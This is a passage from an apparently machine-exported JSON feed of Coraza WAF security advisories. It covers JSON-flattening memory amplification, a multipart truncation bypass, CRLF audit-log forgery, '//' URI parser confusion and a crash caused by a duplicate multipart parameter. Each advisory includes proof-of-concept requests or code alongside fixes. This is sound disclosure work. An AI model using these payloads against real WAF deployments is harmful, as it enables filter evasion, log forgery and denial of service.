20000\nconst depth = 200\nbody := `{\"` + strings.Repeat(\"a\", keyLen) + `\":` + strings.Repeat(\"[\", depth) + strings.Repeat(\"]\", depth) + `}`\nres, truncated, err := readJSON(body, 1024, 1000)\n```\n\nAgainst `main` at commit `19b86824`: a 20,405-byte body produces 199 entries\ntotalling 4,020,596 bytes of flattened keys (~197x the body size) and\n`truncated=false, err=nil` -- the byte budget for a body this size is\n`len(body) * flattenBytesFactor` (~163 KB), so this is roughly 25x over\nbudget with no signal to the caller. A reviewer measured +961 MB heap growth\nend-to-end for a 1 MB body with a long property name. The recommended\n`SecRequestBodyLimit` (12.5 MiB) admits proportionally larger amplification.\nBecause every `ARGS_NAMES`-targeted regex in CRS scans these flattened keys,\nthis is also a CPU cost, not just memory. `ProcessResponse` shares the same\n`readJSON`/`readItems` code path, so `RESPONSE_ARGS` is affected identically.\n\n### Fix\n\nMove the byte-budget check into the same `else` branch as the argument-limit\ncheck, computing `lenStr` first so its length is known before the check\n(mirroring the per-leaf write's own check three lines above it):\n\n```go\nif argumentLimit \u003e 0 \u0026\u0026 *argCount \u003e= argumentLimit {\n    iterationTruncated = true\n} else {\n    lenStr := strconv.Itoa(arrayLen)\n    if byteBudget \u003e 0 \u0026\u0026 *usedBytes+len(objKey)+len(lenStr) \u003e byteBudget {\n        iterationTruncated = true\n    } else {\n        k := string(objKey)\n        res[k] = append(res[k], lenStr)\n        *usedBytes += len(objKey) + len(lenStr)\n        *argCount++\n    }\n}\n```\n\nVerified: the PoC above now returns `truncated=true`, with total flattened\nbytes bounded by the byte budget (163,160 bytes measured, vs. 4,020,596\nbefore the fix).\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro\n  shape were supplied by the reporter as an existing written finding; Claude\n  Sonnet 5 independently re-derived the root cause by reading the current\n  source, wrote and ran a fresh PoC and heap measurement against commit\n  `19b86824`, confirmed the amplification and lack of truncation, verified\n  the fix closes the gap, and drafted this addendum.\n- **Review performed:** reproduced by hand by running the PoC above against\n  a clean checkout of commit `19b86824` before and after the fix, comparing\n  entry count, total flattened bytes, and the `truncated` flag; added and\n  ran `TestReadJSONArrayLengthWriteRespectsByteBudget`, confirmed it fails\n  against the pre-fix code (4,020,596 bytes, `truncated=false`) and passes\n  against the fix; ran the full test suite, the build-tag matrix\n  (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`,\n  `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS\n  regression suite, all green; reviewed by a human maintainer (fzipi) before\n  this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-6r3q-mjv7-xr8m/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: array-length entries produced while flattening JSON bodies are now held to the flattening byte budget (previously they could amplify a small body into a large memory allocation), a body over that budget now sets `REQBODY_ERROR`, and array-length entries no longer count toward `SecArgumentsLimit`. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L` (7.2, High).\n\nAttack Complexity is Low: filler arguments alone trigger the drop, on any deployment, and since 3.8.0 the drop is deterministic. Availability is Low because this advisory also covers unbounded `ARGS_POST` growth from urlencoded bodies and, in 3.8.1, JSON flattening amplification, both of which consume memory per request. The previous vector scored Confidentiality Low and Availability None.\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-06T20:38:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-6r3q-mjv7-xr8m","https://github.com/corazawaf/coraza/commit/146c2f79f39ad16f13787e7d67ad400f8d8cb9a3","https://github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f","https://github.com/corazawaf/coraza/commit/b98359bb7e7606c95100dcc7ad490d2d624e6dea","https://github.com/corazawaf/coraza/releases/tag/v3.8.1","https://github.com/advisories/GHSA-6r3q-mjv7-xr8m"],"source_kind":"github","identifiers":["GHSA-6r3q-mjv7-xr8m","CVE-2026-41510"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T21:00:14.374Z","updated_at":"2026-10-14T10:00:36.231Z","epss_percentage":0.00496,"epss_percentile":0.40853,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjNxLW1qdjcteHI4bc4AB7zi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cjNxLW1qdjcteHI4bc4AB7zi","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.8.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cjNxLW1qdjcteHI4bc4AB7zi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yM3JtLXFwaHctaGg3Ns4AB7zh","url":"https://github.com/advisories/GHSA-r3rm-qphw-hh76","title":"Coraza: Truncated multipart body bypasses MULTIPART_STRICT_ERROR (rule 200003) via silent io.ErrUnexpectedEOF handling","description":"## Root Cause\n\nFile: `internal/bodyprocessors/multipart.go` (since commit `3347961b`, PR #1453 *\"feat: ignore unexpected EOF in MIME multipart request body processor\"*, merged 2026-03-06, first shipped in `v3.4.0`).\n\nThe multipart body processor treats `io.ErrUnexpectedEOF` as a benign condition. Three sites are affected; all mishandle the error the same way.\n\n### File branch, filesystem-backed (lines 71–77)\n\n```go\nsz, err := io.Copy(temp, p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n    seenUnexpectedEOF = true     // \u003c-- flag never set for UnexpectedEOF\n}\n```\n\n### File branch, TinyGo path (lines 82–88)\n\n```go\nsz, err := io.Copy(io.Discard, p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n    seenUnexpectedEOF = true     // \u003c-- same gap\n}\n```\n\n### Field branch (lines 102–113)\n\n```go\ndata, err := io.ReadAll(p)\nif err != nil {\n    if !errors.Is(err, io.ErrUnexpectedEOF) {\n        v.MultipartStrictError().(*collections.Single).Set(\"1\")\n        return err\n    }\n}\n...\nif errors.Is(err, io.ErrUnexpectedEOF) {\n    break                         // \u003c-- exits loop with no flag set\n}\n```\n\nThe function then returns `nil` at line 116 for any body that ended prematurely. Consequences:\n\n1. `MULTIPART_STRICT_ERROR` stays at its initial value `0`.\n2. `REQBODY_ERROR` is not propagated either (since `ProcessRequest` returns `nil`).\n3. Neither of the two canonical defensive rules shipped in `coraza.conf-recommended` fires:\n   ```conf\n   SecRule REQBODY_ERROR \"!@eq 0\" \"id:200002,phase:2,deny,status:400,...\"\n   SecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \"id:200003,phase:2,deny,status:400,...\"\n   ```\n\nAll other error branches in the same function (lines 27, 48, 66, 84, 104) correctly set `MULTIPART_STRICT_ERROR` before returning; this is an inconsistency introduced in #1453, not a systemic issue.\n\n## Context — why the error is swallowed\n\nPR #1453 was introduced to support `SecRequestBodyLimitAction ProcessPartial`: when a body is cut off because it hit the configured request-body limit, the parser should still surface the parts it did receive. The PR legitimately needs to avoid `return err` on `ErrUnexpectedEOF`. But it also silenced the strict-error flag, which is the wrong compromise — the flag is exactly how operators observe that something was incomplete. The fix should keep the non-fatal `break` and still set `MULTIPART_STRICT_ERROR`, letting the operator decide (via rule 200003 or their own policy) whether partial processing is acceptable.\n\n## Impact\n\nRule 200003 is Coraza's blanket defense against **multipart parser-inconsistency evasions** — attack classes where the body is crafted so Coraza's Go `mime/multipart` reader and the backend's multipart parser (PHP, Node, Java, legacy libmodsecurity, etc.) disagree about where fields start or end. The rule fails-closed on *any* malformed body, so the operator does not need to enumerate every parser-disagreement trick. That defense is now void for any evasion that also truncates the body.\n\nExamples of what becomes reachable:\n\n- Smuggling a second field past the truncation boundary that the backend's more permissive parser still extracts.\n- Hiding payload bytes after a deliberately malformed `Content-Disposition` header that the Go parser refuses but the backend accepts.\n- Generic CRS evasion chains that depend on rule 200003 as a catch-all.\n\nThe fix is tiny and low-risk. The impact is disproportionately large because rule 200003 is the *only* defense-in-depth rule for multipart in the recommended config — there is no secondary signal.\n\n## Proof of Concept\n\nStart a Coraza-wrapped HTTP server shipping the canonical defensive rules from `coraza.conf-recommended`:\n\n```conf\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule REQBODY_ERROR \"!@eq 0\" \\\n    \"id:200002,phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.'\"\nSecRule MULTIPART_STRICT_ERROR \"!@eq 0\" \\\n    \"id:200003,phase:2,t:none,log,deny,status:400,msg:'Multipart strict validation failed.'\"\n```\n\nThree real-curl requests against the listener:\n\n| # | Body | Expected (with rule 200003) | Observed |\n|---|---|---|---|\n| 1 | Well-formed `field1=benign` + closing boundary | HTTP 200 | HTTP 200 (baseline) |\n| 2 | Two parts, **no closing boundary** (`...MALFORMED_NO_TRAILING_BOUNDARY`) | HTTP 400 | **HTTP 200** |\n| 3 | Mid-part cutoff: `name=\"x\"\\r\\n\\r\\nabc` (no `\\r\\n`, no boundary) | HTTP 400 | **HTTP 200** |\n\nServer-side match log is empty for cases 2 and 3: neither rule 200002 nor rule 200003 fires. Example (case 2):\n\n```\n--PoCBoundary12345\\r\\n\nContent-Disposition: form-data; name=\"field1\"\\r\\n\\r\\n\nbenign\\r\\n\n--PoCBoundary12345\\r\\n\nContent-Disposition: form-data; name=\"truncated\"\\r\\n\\r\\n\nMALFORMED_NO_TRAILING_BOUNDARY\n```\n→ `HTTP 200`, no audit record, transaction.variables.multipartStrictError == 0.\n\n## Mitigation\n\nA two-line change per site in `internal/bodyprocessors/multipart.go`:\n\n```go\nif errors.Is(err, io.ErrUnexpectedEOF) {\n    v.MultipartStrictError().(*collections.Single).Set(\"1\")\n    seenUnexpectedEOF = true   // keep existing break semantics\n}\n```\n\nApply at the three sites (lines 71–77, 82–88, 102–113 in the current code). No change to the `return err` control flow is needed — the fix only adds the flag-setter alongside the existing `seenUnexpectedEOF = true` / `break` path. PR #1453's ProcessPartial goal is preserved.\n\nOperators running in `ProcessPartial` mode who intentionally allow truncated bodies should pair this with a config-level change (downgrade rule 200003 to detection-only, or scope it with a secondary check on whether `SecRequestBodyLimit` was actually hit). The engine change above is safe by default — it restores the invariant that malformed multipart always raises `MULTIPART_STRICT_ERROR`.\n\n## Affected versions\n\nIntroduced in PR #1453 (commit `3347961b`, merged 2026-03-06). First released in `v3.4.0` and still present on `main` at `599ae64a`.\n\nAffected: `\u003e= 3.4.0, \u003c= 3.7.0`.\n\nReleases prior to `v3.4.0` returned `err` on `io.ErrUnexpectedEOF` and so `REQBODY_ERROR` would propagate via rule 200002 even if `MULTIPART_STRICT_ERROR` was not set — a different (arguably stricter) behavior that did not exhibit this bypass.\n\n## References\n\n- `internal/bodyprocessors/multipart.go` lines 70–113\n- `coraza.conf-recommended` rule `id:200003` (`MULTIPART_STRICT_ERROR`)\n- PR #1453 — introduction of `ErrUnexpectedEOF` swallowing\n- `coraza.conf-recommended` rule `id:200002` (`REQBODY_ERROR`) — also not raised because `ProcessRequest` returns `nil`","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-06T20:37:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-r3rm-qphw-hh76","https://github.com/corazawaf/coraza/commit/f94c81bec209f658120c418448d0590a549b71df","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-r3rm-qphw-hh76"],"source_kind":"github","identifiers":["GHSA-r3rm-qphw-hh76","CVE-2026-41508"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T21:00:14.375Z","updated_at":"2026-10-14T10:00:36.232Z","epss_percentage":0.00494,"epss_percentile":0.40687,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yM3JtLXFwaHctaGg3Ns4AB7zh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yM3JtLXFwaHctaGg3Ns4AB7zh","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.4.0, \u003c= 3.7.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yM3JtLXFwaHctaGg3Ns4AB7zh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcnB3LXd3djcteGpqcs4AB7zg","url":"https://github.com/advisories/GHSA-prpw-wwv7-xjjr","title":"Coraza: Native audit-log format allows CRLF injection and log forgery via request body and header fields","description":"## Root Cause\n\nFile: `internal/auditlog/formats.go` — multiple sites write attacker-influenced bytes into the Native audit-log stream without escaping `\\r` or `\\n`:\n\n```go\n// Part B — request headers (lines 72–80)\nfor k, vv := range al.Transaction().Request().Headers() {\n    for _, v := range vv {\n        res.WriteByte('\\n')\n        res.WriteString(k)\n        res.WriteString(\": \")\n        res.WriteString(v)   // ← raw\n    }\n}\n\n// Part C — request body (lines 85–86)\nif body := al.Transaction().Request().Body(); body != \"\" {\n    res.WriteString(body)    // ← raw\n    res.WriteByte('\\n')\n}\n\n// Part E — response body (lines 93–94)      raw\n// Part F — response headers (lines 111–118) raw\n// Part H — error messages (line 125)        raw\n// Part K — matched-rule raw data (line 151)  raw\n```\n\nThe Native format's section structure is line-based: sections are delimited by lines of the form `--\u003c10-char-random-prefix\u003e-\u003cPart\u003e--`, and line-based log parsers / SIEM rules rely on that structure. Any attacker-controlled bytes containing `\\n` break the structural invariant and allow the attacker to inject lines that look like genuine audit content.\n\nThe other two Native-format implementations in Coraza are not affected: the JSON formatter (`formats_json.go`) and the OCSF formatter both round-trip values through `json.Marshal`, which escapes `\\r` and `\\n`.\n\n## Impact\n\nAn attacker who can land bytes into any of the listed audit-log fields can inject arbitrary lines — including lines that visually resemble new log entries — into the audit log file of a defender running the default `SecAuditLogFormat Native` configuration. Realistic consequences:\n\n- **Forging entries to shift attribution.** An injected line such as `[client \"9.9.9.9\"] Coraza: Warning. ...` sits alongside genuine matches in Part H, and a human operator (or simple SIEM rule) reading the log cannot tell them apart.\n- **Confusing SIEM correlation.** Any ingestion pipeline that splits on `--...-[A-Z]--` boundaries or on `[client \"...\"]` patterns without validating the session prefix will treat the forged lines as separate records.\n- **Breaking log-parsing tooling.** Grep/awk pipelines, log tailers, and log-rotation tools with line-based assumptions can be poisoned with crafted binary sequences.\n- **Hiding genuine incidents.** An attacker who can also trigger a rule match on the same transaction (trivial — send any request that matches *any* audit-logged rule) can bury the real match under noise they control.\n\nThe forged lines cannot trivially impersonate an entire *separate* session: the 10-char random prefix in the real boundaries (`boundaryPrefix := \"--\" + utils.RandomString(10) + \"-\"`, line 42) is not predictable from outside, and each transaction uses a fresh prefix. But the integrity of a *single* record is fully compromised, which is enough for the SIEM-confusion and attribution-shifting attacks.\n\n## Proof of Concept\n\nServer with `coraza.conf-recommended`-style defaults:\n\n```conf\nSecRuleEngine On\nSecAuditEngine On\nSecAuditLogParts ABCFHZ\nSecAuditLogType Serial\nSecAuditLog /tmp/audit.log\nSecAuditLogFormat Native\nSecRequestBodyAccess On\nSecRule REQUEST_METHOD \"@rx .\" \\\n    \"id:1001,phase:1,pass,log,auditlog,msg:'trigger'\"\n```\n\n### Body vector — reachable via stock `coraza/v3/http` + `net/http`\n\nSend an ordinary urlencoded POST whose body contains raw CRLF sequences and forged boundaries:\n\n```\nPOST / HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\nevil=benign\\r\\n--coraza-forged-X--\\r\\nForgedLine: yes\\r\\n--coraza-forged-H--\\r\\n[client \"9.9.9.9\"] FAKE ATTACK ENTRY\n```\n\nResulting audit.log:\n\n```\n--heLNtylvjY-C--\nevil=benign\n--coraza-forged-X--\nForgedLine: yes\n--coraza-forged-H--\n[client \"9.9.9.9\"] FAKE ATTACK ENTRY\n\n--heLNtylvjY-F--\n```\n\nThe forged `--coraza-forged-X--` / `--coraza-forged-H--` boundaries and the spoofed `[client \"9.9.9.9\"]` line are structurally indistinguishable from the surrounding genuine log content. No rule fires, no error is raised, the attack is invisible to the WAF.\n\n### Header vector — reachable via non-net/http integrations only\n\nThe same effect applies to Part B (request headers) and Part F (response headers) when a header value contains raw `\\r\\n`. Go's `net/http` rejects such headers at parse time (`400 Bad Request`), so the stock HTTP wrapper is safe from this path; the vector is reachable when Coraza is called with header values that were not validated by `net/http`:\n\n- `coraza-spoa` (HAProxy SPOP agent) forwards headers from HAProxy, which has more permissive validation.\n- `coraza-proxy-wasm` / Envoy WASM hosts forward header values from the upstream proxy.\n- Custom FFI/WASM hosts and any embedder calling `tx.AddRequestHeader(k, v)` with unvalidated bytes.\n\nOther raw-write sites (Part E response body, Part H error messages, Part K matched-rule data) share the same class of issue and should be fixed together.\n\n## Mitigation\n\nEscape `\\r` and `\\n` at every raw-write site in `internal/auditlog/formats.go`. A single package-level helper is sufficient:\n\n```go\nvar logEscaper = strings.NewReplacer(\"\\r\", \"\\\\r\", \"\\n\", \"\\\\n\")\n\n// Part B — header values:\nres.WriteString(logEscaper.Replace(v))\n\n// Part F — header values: same\n// Part H — error messages:\nres.WriteString(logEscaper.Replace(alWithErrMsg.ErrorMessage()))\n// Part K — matched-rule raw data:\nres.WriteString(logEscaper.Replace(alEntry.Data().Raw()))\n```\n\nFor Part C / Part E (bodies), the choice is policy-dependent:\n\n- **Escape inline** (`logEscaper.Replace(body)`): keeps the log human-readable for text bodies but loses fidelity for binary.\n- **Base64 / hex-encode** the whole part: binary-safe, matches the spirit of ModSecurity v2's binary-log handling, but less human-readable.\n\nEscaping is the minimum; base64 for bodies is the more conservative default and is a reasonable audit-log-default change.\n\n### Additional defensive measure\n\nConsider lengthening the `boundaryPrefix` random suffix from 10 chars to ≥16 chars (line 42). This strictly raises the bar for attackers attempting to *fully* forge a separate-looking session (not just inject lines into the current one). Low-cost change; narrows future variants of this bug class.\n\n## Affected versions\n\nThe Native formatter has been present since `v3.0.0` (file existed at the first-release commit). All releases `\u003e= 3.0.0, \u003c= 3.7.0` are affected when `SecAuditLogFormat Native` is used with `SecAuditLogType Serial` or `SecAuditLogType Concurrent`.\n\n**Unaffected:**\n\n- Deployments using `SecAuditLogFormat JSON` (`formats_json.go` uses `json.Marshal` which escapes `\\r\\n`).\n- Deployments using OCSF output.\n- Deployments with `SecAuditEngine Off`.\n\n## References\n\n- `internal/auditlog/formats.go` lines 42, 72–80 (Part B), 85–88 (Part C), 93–96 (Part E), 111–118 (Part F), 125 (Part H), 151 (Part K)\n- `coraza.conf-recommended` — default `SecAuditLogFormat Native`, `SecAuditLogParts ABIJDEFHZ` / `ABCFHZ` variants\n- CWE-117 — Improper Output Neutralization for Logs\n- CWE-93 — CRLF Injection","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-06T20:37:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-prpw-wwv7-xjjr","https://github.com/corazawaf/coraza/commit/a3079325547c7c1e08522aed4d6468f25d080e25","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/advisories/GHSA-prpw-wwv7-xjjr"],"source_kind":"github","identifiers":["GHSA-prpw-wwv7-xjjr","CVE-2026-41504"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T21:00:14.375Z","updated_at":"2026-10-16T06:00:34.348Z","epss_percentage":0.00392,"epss_percentile":0.31651,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcnB3LXd3djcteGpqcs4AB7zg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcnB3LXd3djcteGpqcs4AB7zg","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.8.0","vulnerable_version_range":"\u003e= 3.0.0, \u003c= 3.7.0"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcnB3LXd3djcteGpqcs4AB7zg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xOWY1LTYyNWcteG0zOc4ABFwY","url":"https://github.com/advisories/GHSA-q9f5-625g-xm39","title":"OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`","description":"### Summary\n\nURLs starting with `//` are not parsed properly, and the request `REQUEST_FILENAME` variable contains a wrong value, leading to potential rules bypass.\n\n### Details\n\nIf a request is made on an URI starting with `//`, coraza will set a wrong value in `REQUEST_FILENAME`.\nFor example, if the URI `//bar/uploads/foo.php?a=b` is passed to coraza: , `REQUEST_FILENAME` will be set to `/uploads/foo.php`.\n\nThe root cause is the usage of `url.Parse` to parse the URI in [ProcessURI](https://github.com/corazawaf/coraza/blob/8b612f4e6e18c606e371110227bc7669dc714cab/internal/corazawaf/transaction.go#L768).\n\n`url.Parse` can parse both absolute URLs (starting with a scheme) or relative ones (just the path). \n`//bar/uploads/foo.php` is a valid absolute URI (the scheme is empty), `url.Parse` will consider `bar` as the host and the path will be set to `/uploads/foo.php`.\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\n\t\"github.com/corazawaf/coraza/v3\"\n)\n\nconst testRule = `\nSecDebugLogLevel 9\nSecDebugLog /dev/stdout\nSecRule REQUEST_FILENAME \"@rx /bar/uploads/.*\\.(h?ph(p|tm?l?|ar)|module|shtml)\" \"id:1,phase:1,deny\"\n`\n\nfunc main() {\n\tvar testURL = \"//bar/uploads/foo.php\"\n\n\tif os.Getenv(\"TEST_URL\") != \"\" {\n\t\ttestURL = os.Getenv(\"TEST_URL\")\n\t}\n\n\tfmt.Printf(\"Testing URL: %s\\n\", testURL)\n\n\tconfig := coraza.NewWAFConfig().WithDirectives(testRule)\n\n\twaf, err := coraza.NewWAF(config)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\ttx := waf.NewTransaction()\n\n\ttx.ProcessURI(testURL, \"GET\", \"HTTP/1.1\")\n\n\tin := tx.ProcessRequestHeaders()\n\n\tif in != nil {\n\t\tfmt.Printf(\"%+v\\n\", in)\n\t}\n}\n```\n\n### Impact\n\nPotential bypass of rules using `REQUEST_FILENAME`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-03-20T18:48:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-q9f5-625g-xm39","https://nvd.nist.gov/vuln/detail/CVE-2025-29914","https://github.com/corazawaf/coraza/commit/4722c9ad0d502abd56b8d6733c6b47eb4111742d","https://github.com/advisories/GHSA-q9f5-625g-xm39"],"source_kind":"github","identifiers":["GHSA-q9f5-625g-xm39","CVE-2025-29914"],"repository_url":"https://github.com/corazawaf/coraza","blast_radius":0.0,"created_at":"2025-03-20T19:08:12.520Z","updated_at":"2026-10-14T10:08:53.669Z","epss_percentage":0.00319,"epss_percentile":0.23027,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOWY1LTYyNWcteG0zOc4ABFwY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xOWY1LTYyNWcteG0zOc4ABFwY","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"\u003c 3.3.3"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv3"},{"ecosystem":"go","package_name":"github.com/jptosso/coraza-waf","versions":[{"first_patched_version":"3.3.3","vulnerable_version_range":"\u003c 3.3.3"}],"purl":"pkg:go/github.com%2Fjptosso%2Fcoraza-waf"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xOWY1LTYyNWcteG0zOc4ABFwY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","url":"https://github.com/advisories/GHSA-c2pj-v37r-2p6h","title":"Coraza has potential denial of service vulnerability","description":"### Summary\n\nDue to the misuse of `log.Fatalf`, the application using coraza crashed after receiving crafted requests from attackers.\n\n### Details\n\nhttps://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29\nThe bodyprocessors of multipart uses `log.Fatalf` to handle errors from the `mime.ParseMediaType`, but `log.Fatalf` calls `os.Exit` directly after logging the error.\nhttps://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291\nThis means that the application will immediately crash after receiving a malicious request that triggers an error in `mime.ParseMediaType`.\n\n### PoC\n\nThe server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server\n\nAfter sending this request\n```\nPOST / HTTP/1.1\nHost: 127.0.0.1:8090\nUser-Agent: curl/8.1.2\nAccept: */*\nContent-Length: 199\nContent-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2\nConnection: close\n\n--------------------------5fa6351b877326a1\nContent-Disposition: form-data; name=\"file\"; filename=\"123\"\nContent-Type: application/octet-stream\n\n123\n\n--------------------------5fa6351b877326a1--\n\n```\nThe server will crash immediately. The `a=1; a=2` in `Content-Type` makes `mime: duplicate parameter name` error.\n\n### Impact\n\nI believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.\n\n### Mitigation\n\nThe error from `mime.ParseMediaType` should return directly.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-06-26T15:48:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-c2pj-v37r-2p6h","https://github.com/corazawaf/coraza-caddy/issues/48","https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec","https://github.com/corazawaf/coraza/commit/e1b119b83e12c64f0957e00e8cad45a1b5f012f8","https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29","https://github.com/corazawaf/coraza/releases/tag/v3.0.1","https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291","https://github.com/corazawaf/coraza/commit/a5239ba3ce839e14d9b4f9486e1b4a403dcade8c","https://nvd.nist.gov/vuln/detail/CVE-2023-40586","https://github.com/advisories/GHSA-c2pj-v37r-2p6h"],"source_kind":"github","identifiers":["GHSA-c2pj-v37r-2p6h","CVE-2023-40586"],"repository_url":"https://github.com/corazawaf/coraza","blast_radius":0.0,"created_at":"2023-06-28T00:04:02.189Z","updated_at":"2026-10-08T07:59:24.011Z","epss_percentage":0.00723,"epss_percentile":0.52552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jMnBqLXYzN3ItMnA2aM4AA0El","packages":[{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v2","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.0.1"}],"purl":"pkg:go/github.com%2Fcorazawaf%2Fcoraza%2Fv2"},{"ecosystem":"go","package_name":"github.com/corazawaf/coraza/v3","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 